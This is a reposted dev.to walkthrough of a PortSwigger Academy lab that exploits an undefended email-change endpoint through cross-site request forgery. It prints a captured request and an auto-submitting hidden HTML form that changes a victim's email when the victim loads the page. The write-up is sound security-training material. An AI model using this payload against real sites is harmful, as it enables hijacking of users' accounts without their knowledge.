An Interest In:
Web News this Week
- April 2, 2024
- April 1, 2024
- March 31, 2024
- March 30, 2024
- March 29, 2024
- March 28, 2024
- March 27, 2024
Some of Our Sources
- BoingBoing
- Technology Review
- Smashing Magazine
- Smashing Apps
- Six Revisions
- Vandelay Design
- FanExtra - PSD
- CSS Globe
- Stylized Web
- Android Headlines
Help Webnuz
Referal links:
Portswiggers Lab write up: CSRF vulnerability with no defenses
In this apprentice-level lab, we will exploit a site that contains a CSRF vulnerability in its email change functionality.
After signing in and trying to update our account's email to something like '[email protected]', we can see the following request in the Network tab of our browser or Burpsuite Intercept:
POST /my-account/change-email HTTP/1.1Host: [0a9a0027047d6aaec1fa58be003b00b3.web-security-academy.net](<http://0a9a0027047d6aaec1fa58be003b00b3.web-security-academy.net/>)User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3Accept-Encoding: gzip, deflate, brContent-Type: application/x-www-form-urlencodedContent-Length: 22Origin: [<https://0a9a0027047d6aaec1fa58be003b00b3.web-security-academy.net>](<https://0a9a0027047d6aaec1fa58be003b00b3.web-security-academy.net/>)Connection: keep-aliveReferer: [<https://0a9a0027047d6aaec1fa58be003b00b3.web-security-academy.net/my-account>](<https://0a9a0027047d6aaec1fa58be003b00b3.web-security-academy.net/my-account>)Cookie: session=bQKVomOrYf95eVTuf4XKAw9zlJQDsUUKUpgrade-Insecure-Requests: 1Sec-Fetch-Dest: documentSec-Fetch-Mode: navigateSec-Fetch-Site: same-originSec-Fetch-User: ?1With the following body structure:
Here we are able to identify that the update email action just requires a session cookie to authorize the user and the email parameter to execute this action. Let's use the reading material's HTML template for CSRF to build our attack:
<html> <body> <form action="<https://vulnerable-website.com/email/change>" method="POST"> <input type="hidden" name="email" value="[email protected]" /> </form> <script> document.forms[0].submit(); </script> </body></html>All we need to do is replace the action attribute of the form component to our lab's absolute email update endpoint (you can see it on the POST request we performed earlier) and the value attribute of the email input to whatever value we want the victim's email to change to:
<html> <body> <form action="{LAB URL}/my-account/change-email" method="POST"> <input type="hidden" name="email" value="[email protected]" /> </form> <script> document.forms[0].submit(); </script> </body></html>If we save this as an HTML file, when someone visits our site, the form above will be submitted as soon as the page loads and an email update will be requested (as long as the user is authenticated on the lab's site since a session cookie is required to perform the email update action). To solve the lab, we have to go to the exploit server, store our HTML code, and send it to the victim.
Original Link: https://dev.to/christianpaez/portswiggers-lab-write-up-csrf-vulnerability-with-no-defenses-4p84
Dev To
An online community for sharing and discovering great ideas, having debates, and making friendsMore About this Source Visit Dev To